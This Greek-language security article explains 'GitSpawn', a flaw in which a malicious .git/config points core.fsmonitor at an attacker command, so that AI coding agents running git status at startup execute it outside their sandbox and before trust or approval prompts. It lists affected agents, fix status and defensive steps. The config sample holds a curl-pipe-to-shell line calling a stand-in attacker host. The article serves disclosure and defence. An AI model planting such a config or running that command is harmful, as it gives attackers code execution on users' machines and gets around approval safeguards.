- Ένα κακόβουλο
.git/configορίζει την νόμιμη ρύθμισηcore.fsmonitorώστε να δείχνει σε εντολή του επιτιθέμενου. - Οι AI coding agents τρέχουν στην εκκίνηση
git statusκαιgit diffγια context. Το Git ανανεώνει το index του και εκτελεί την εντολή. - Ο κώδικας τρέχει με τα δικαιώματα του χρήστη, έξω από το sandbox, χωρίς κανένα prompt έγκρισης.
- Επηρεάζονται 7 agents: Claude Code, Codex, Cursor, Goose, Qwen Code, Grok Build, Hermes Agent.
- Δεν δουλεύει με απλό
git clone. Χρειάζεται το.gitάθικτο: zip, shared drive, sync folder, USB.
01Η ευπάθεια δεν είναι στο μοντέλο
Όλη η συζήτηση γύρω από την ασφάλεια των AI agents τα τελευταία δύο χρόνια έχει κολλήσει σε ένα σημείο: πώς πείθουμε το μοντέλο να μην κάνει κάτι κακό. Prompt injection, jailbreaks, guardrails, alignment. Το GitSpawn είναι ενδιαφέρον επειδή παρακάμπτει τελείως αυτή τη συζήτηση.
Δεν υπάρχει prompt. Δεν υπάρχει κλήση στο μοντέλο. Δεν υπάρχει tool call που θα μπορούσε να εγκριθεί ή να απορριφθεί. Όπως το περιγράφει η Manifold Security στο advisory της, η ευπάθεια βρίσκεται στο subprocess που ξεκινά ο agent στην εκκίνηση του session για να καταλάβει πού βρίσκεται.
Με άλλα λόγια: ο agent δεν προλαβαίνει καν να σκεφτεί. Έχει ήδη χάσει.
«Τρέχοντας goose review μέσα σε κακόβουλο repo εκτελείται κώδικας του επιτιθέμενου. Χωρίς prompt, χωρίς κλήση μοντέλου, χωρίς έγκριση εργαλείου, χωρίς trust prompt.»
02Τι είναι το core.fsmonitor
Το Git έχει ένα πρακτικό πρόβλημα σε μεγάλα repositories: κάθε φορά που θέλει να ξέρει τι άλλαξε, πρέπει να διατρέξει το filesystem. Σε repo με εκατοντάδες χιλιάδες αρχεία αυτό είναι αργό.
Η λύση είναι το core.fsmonitor. Είναι μια ρύθμιση επίδοσης, εντελώς νόμιμη, που δηλώνει ένα βοηθητικό πρόγραμμα: το Git το καλεί κάθε φορά που ανανεώνει το index του, και εκείνο του λέει ποια αρχεία άλλαξαν. Γλιτώνει το σκανάρισμα.
Το κλειδί είναι εκείνη η λέξη: πρόγραμμα. Η ρύθμιση δεν είναι δεδομένο. Είναι εντολή. Και ζει μέσα στο .git/config του repository, δηλαδή σε αρχείο που ταξιδεύει μαζί με τον κώδικα.
# Μοιάζει με ρύθμιση επίδοσης. Είναι εκτέλεση κώδικα. [core] repositoryformatversion = 0 filemode = true fsmonitor = "sh -c 'curl -s https://attacker.tld/x | sh'" # Ο agent τρέχει: git status # Το Git ανανεώνει το index -> καλεί τον fsmonitor helper # Ο helper είναι το shell του επιτιθέμενου. # # Δικαιώματα: του χρήστη. Sandbox: κανένα. Prompt: κανένα.
03Η αλυσίδα, βήμα βήμα
Το σενάριο δεν απαιτεί εξωτικές συνθήκες. Απαιτεί κάποιον να σου στείλει έναν φάκελο.
-
Το repo φτάνει ως αρχεία, όχι ως clone
Zip από συνάδελφο, shared drive, φάκελος συγχρονισμού, USB stick. Οτιδήποτε διατηρεί τον κατάλογο
.gitάθικτο. Ένα κανονικόgit cloneδεν μεταφέρει το τοπικό config της πηγής, οπότε δεν δουλεύει. -
Ανοίγεις τον φάκελο με τον agent
Δεν γράφεις prompt. Δεν ζητάς τίποτα. Απλώς ξεκινάς session μέσα στον κατάλογο.
-
Ο agent μαζεύει context
Κάθε σοβαρός coding agent τρέχει background εντολές στην εκκίνηση για να καταλάβει το project:
git status,git diff, branch, uncommitted αλλαγές. -
Το Git διαβάζει το config του repo και εκτελεί
Το
Έξω από το sandbox του agentfsmonitorκαλείται. Ο κώδικας του επιτιθέμενου τρέχει με τα δικαιώματα του λογαριασμού σου: μπορεί να διαβάσει, να αλλάξει ή να σβήσει αρχεία και να φτάσει σε ό,τι έχει πρόσβαση ο χρήστης. -
Το trust prompt εμφανίζεται μετά
Σε Claude Code και Hermes Agent το payload πυροδοτείται πριν αποδεχτείς το workspace-trust prompt. Σε Qwen Code, πριν κάνεις καν authenticate. Σε Grok Build, στο πρώτο πάτημα πλήκτρου.
Η έγκριση φτάνει αφού έχει τρέξει ο κώδικας
04Ποιοι agents, σε ποια κατάσταση
Η Manifold τεκμηρίωσε οκτώ ευρήματα σε επτά agents και τα επανέλεγξε την 1η Σεπτεμβρίου 2026, μια μέρα πριν τη δημοσιοποίηση. Η εικόνα δεν είναι ενιαία: κάποιοι vendors έκλεισαν το θέμα σε μέρες, άλλοι δεν απάντησαν καθόλου.
| Agent | Εκδόσεις | Κατάσταση | Σημείωση |
|---|---|---|---|
| Claude CodeAnthropic | 2.1.252 (τρέχουσα 2.1.258) |
Ανοιχτό | Δεύτερη διαδρομή μέσω claude ultrareview, με άλλο Git config key που η Manifold δεν αποκάλυψε. |
| Qwen CodeAlibaba | 0.19.6 · 0.22.3 | Ανοιχτό | Το payload τρέχει πριν ο χρήστης κάνει authenticate. Έγινε αποδεκτό από την Alibaba, fix σε εκκρεμότητα. |
| Grok BuildxAI | 0.2.93 · 1.0.13 | Ανοιχτό | Πυροδότηση στο πρώτο πάτημα πλήκτρου. Fix σε εκκρεμότητα. |
| Hermes AgentHermes | 0.18.2 · 0.21.0 | Ανοιχτό | Οι maintainers δεν απάντησαν επίσημα στην αναφορά. |
| Claude CodeAnthropic · διαδρομή fsmonitor | 2.1.193 → 2.1.196 | Διορθώθηκε | Αναφορά 26 Ιουνίου, fix 29 Ιουνίου. Το ticket έκλεισε ως duplicate εσωτερικής αναφοράς της ίδιας μέρας. |
| CodexOpenAI · CLI + Desktop | < 0.131.0 → 0.131.0 (τρέχουσα 0.152.1) |
Διορθώθηκε | CVE-2026-19592 (CLI) και CVE-2026-19593 (Desktop). Εγκαταστάσεις καρφωμένες κάτω από 0.131.0 παραμένουν εκτεθειμένες. |
| CursorAnysphere | σειρά 26.x | Διορθώθηκε | CVSS 4.0 base score 7.0. Η Manifold είχε τεκμηριώσει την ίδια κλάση στο Cursor CLI τρεις εβδομάδες πριν. |
| GooseBlock | < 1.44.0 → 1.44.0 | Διορθώθηκε | Οι maintainers ζήτησαν παράταση και έκλεισαν το θέμα σε περίπου έναν μήνα. |
Κανένα αποτέλεσμα για αυτό το φίλτρο.
Οι εκδόσεις αποτυπώνουν την κατάσταση στη δημοσιοποίηση. Έλεγξε πάντα το τρέχον release notes του εργαλείου σου: η εικόνα αλλάζει.
Το μοτίβο των απαντήσεων λέει τη δική του ιστορία
Η Goose ζήτησε παράταση και έκλεισε το θέμα σε έναν μήνα. Η OpenAI τυποποίησε δύο CWEs για CLI και desktop clients και κινήθηκε γρήγορα. Η Anthropic έκλεισε την αναφορά ως duplicate χωρίς να επιβεβαιώσει shipped fix, και μια δεύτερη διαδρομή έμεινε ανοιχτή. Οι maintainers του Hermes Agent δεν απάντησαν καθόλου.
Τέσσερις διαφορετικές κουλτούρες disclosure στο ίδιο εύρημα. Αν διαλέγεις agent για ομάδα, αυτό το μοτίβο είναι πιο χρήσιμο πληροφορία από κάθε benchmark.
05Δεν είναι bug. Είναι κατηγορία.
Εδώ γίνεται σοβαρό. Το GitSpawn δεν είναι μεμονωμένο περιστατικό. Επτά εβδομάδες πριν, η Wiz Research δημοσίευσε το GhostApproval: μια μηχανικά διαφορετική αλλά εννοιολογικά συγγενής επίθεση εναντίον έξι AI coding agents, με σημαντική επικάλυψη στη λίστα (Amazon Q Developer, Claude Code, Augment, Cursor, Google Antigravity, Windsurf).
Το GhostApproval εκμεταλλεύεται την επίλυση symlink: κάνει τον agent να γράψει σε αρχείο που ο χρήστης δεν ενέκρινε ποτέ, ενώ το παράθυρο επιβεβαίωσης δείχνει άλλη, νόμιμη διαδρομή. Το GitSpawn εκμεταλλεύεται μια άλλη υπόθεση εμπιστοσύνης: ότι το config ενός repository μπορεί να διαβαστεί για context χωρίς να εκτελεστεί κάτι επικίνδυνο.
Πρόσθεσε και τα προγενέστερα ευρήματα των Sonar και Adversa γύρω από trust dialogs, και το συμπέρασμα του Cloud Security Alliance γίνεται δύσκολο να αγνοηθεί: πρόκειται για διαρκή κατηγορία κινδύνου, την υπόρρητη εμπιστοσύνη σε μεταδεδομένα που προμηθεύει το repository, και όχι για σειρά ασύνδετων bugs.
Χτίσαμε εργαλεία που διαβάζουν τον χώρο εργασίας για να καταλάβουν το πλαίσιο, και ξεχάσαμε ότι ο χώρος εργασίας μπορεί να ανήκει στον επιτιθέμενο.
Το πραγματικό δίδαγμαΤο κενό της παρακολούθησης
Καμία πηγή δεν αναφέρει εκμετάλλευση στη φύση. Ο έλεγχος στον κατάλογο Known Exploited Vulnerabilities της CISA στις 2 Σεπτεμβρίου (έκδοση 2026.09.01, 1.687 καταχωρήσεις) δεν βρήκε κανένα από τα CVEs.
Αυτό είναι καθησυχαστικό μόνο επιφανειακά. Η επίθεση δεν αφήνει προφανή ίχνη: μοιάζει με τον agent σου να τρέχει μια εντολή Git, επειδή αυτό ακριβώς είναι. Η απουσία καταγεγραμμένης εκμετάλλευσης σε μια κλάση που δεν παρακολουθείται ενεργά δεν είναι το ίδιο με απουσία εκμετάλλευσης.
06Τι κάνεις σήμερα
Πρακτικά και με σειρά προτεραιότητας.
-
Πάντα clone, ποτέ αντιγραφή φακέλου
Το
git cloneδεν μεταφέρει το τοπικό config της πηγής. Αυτή μόνη η συνήθεια εξουδετερώνει ολόκληρη την αλυσίδα. Αν λάβεις zip ή φάκελο, σβήσε το.gitκαι ξεκίνα καθαρό repo. -
Έλεγξε το config πριν ανοίξεις τον agent
Τρέξε
git config --local --listσε κάθε repo εξωτερικής προέλευσης. Ψάξεfsmonitor, hooks και οτιδήποτε ονομάζει εκτελέσιμο. Κάνε το από terminal, όχι από τον agent. -
Ανέβασε εκδόσεις, ειδικά τις καρφωμένες
Codex CLI κάτω από 0.131.0, Goose κάτω από 1.44.0, Claude Code κάτω από 2.1.196. Τα pinned installs σε CI είναι το πιο συχνά ξεχασμένο σημείο.
-
Χώρισε το intake από το περιβάλλον εργασίας
Ξένος κώδικας ανοίγει πρώτα σε container ή VM χωρίς credentials, χωρίς SSH keys, χωρίς πρόσβαση στο cloud σου. Ο agent μπαίνει μετά.
-
Μη βασίζεσαι στο trust prompt
Σε τέσσερις από τις τεκμηριωμένες περιπτώσεις ο κώδικας έτρεξε πριν εμφανιστεί ή αφού είχε ήδη πυροδοτηθεί. Το prompt δεν είναι όριο ασφαλείας εδώ.
Και ένα ερώτημα που μένει
Η δεύτερη διαδρομή στο Claude Code, μέσω claude ultrareview, ενεργοποιεί διαφορετικό Git config key που η Manifold επέλεξε να μην αποκαλύψει. Επιβεβαιώθηκε ζωντανή στην 2.1.252 την 1η Σεπτεμβρίου, με τρέχουσα έκδοση την 2.1.258. Καμία πηγή δεν διευκρινίζει αν τα επόμενα releases την έκλεισαν.
Αν τρέχεις Claude Code σε περιβάλλον όπου φτάνει εξωτερικός κώδικας, θεώρησέ το ανοιχτό μέχρι να δεις το αντίθετο γραμμένο σε changelog.
FAQΣυχνές Ερωτήσεις
Οκτώ ευρήματα σε επτά agents: Claude Code, Codex, Cursor, Goose, Qwen Code, Grok Build και Hermes Agent. Στις 1 Σεπτεμβρίου 2026 τέσσερα παρέμεναν ανοιχτά (Claude Code δεύτερη διαδρομή, Qwen Code, Grok Build, Hermes Agent). Έλεγξε τα release notes του εργαλείου σου.
Ναι — το git clone δεν μεταφέρει το τοπικό config (.git/config) της πηγής, οπότε η κακόβουλη ρύθμιση fsmonitor δεν ταξιδεύει. Η επίθεση απαιτεί zip, shared drive, sync folder ή USB με άθικτο κατάλογο .git.
Σβήσε τον κατάλογο .git και ξεκίνα καθαρό repo, ή τουλάχιστον τρέξε git config --local --list από terminal (όχι μέσω agent) και έλεγξε για fsmonitor, core.hooksPath και οτιδήποτε ονομάζει εκτελέσιμο.
Οι Codex (0.131.0), Goose (1.44.0), Cursor (σειρά 26.x) και Claude Code fsmonitor path (2.1.196) διορθώθηκαν. Η δεύτερη διαδρομή στο Claude Code (claude ultrareview) παρέμενε ανοιχτή στον επανέλεγχο — θεώρησέ την ανοιχτή μέχρι changelog που την αναφέρει. Τα pinned installs κάτω από αυτές τις εκδόσεις παραμένουν εκτεθειμένα.
Ο έλεγχος στις 2 Σεπτεμβρίου 2026 (1.687 καταχωρήσεις) δεν βρήκε κανένα από τα CVEs. Η επίθεση δεν αφήνει προφανή ίχνη — μοιάζει με κανονική εντολή Git — οπότε η απουσία καταγραφής σε κλάση που δεν παρακολουθείται ενεργά δεν σημαίνει απουσία εκμετάλλευσης.
- Manifold Security, advisory GitSpawn, δημοσιοποίηση 2 Σεπτεμβρίου 2026, επανέλεγχος 1 Σεπτεμβρίου 2026.
- The Hacker News — επίσημη σελίδα · κάλυψη του ευρήματος (02.09.2026).
- Cloud Security Alliance — επίσημη σελίδα · research note για το GitSpawn (04.09.2026).
- OpenAI — επίσημη σελίδα · security advisories CVE-2026-19592 (Codex CLI) και CVE-2026-19593 (Codex Desktop).
- Anthropic — επίσημη σελίδα · security advisory CVE-2026-55607, εκτέλεση git fsmonitor κατά τη διάρκεια worktree operations, Ιούνιος 2026.
- Wiz — επίσημη σελίδα · Wiz Research, GhostApproval, symlink resolution σε έξι AI coding agents, Ιούλιος 2026.
- Git — επίσημη τεκμηρίωση (core.fsmonitor).
Διαφάνεια: Οι συγκεκριμένες διευθύνσεις των news δεν αναγράφονται εδώ — επαλήθευσε πάντα στις επίσημες σελίδες και στα vendor advisories. Οι εκδόσεις και καταστάσεις στον πίνακα αποτυπώνουν την κατάσταση στη δημοσιοποίηση (02.09.2026) και μπορεί να έχουν αλλάξει — έλεγξε πάντα τα τρέχοντα release notes.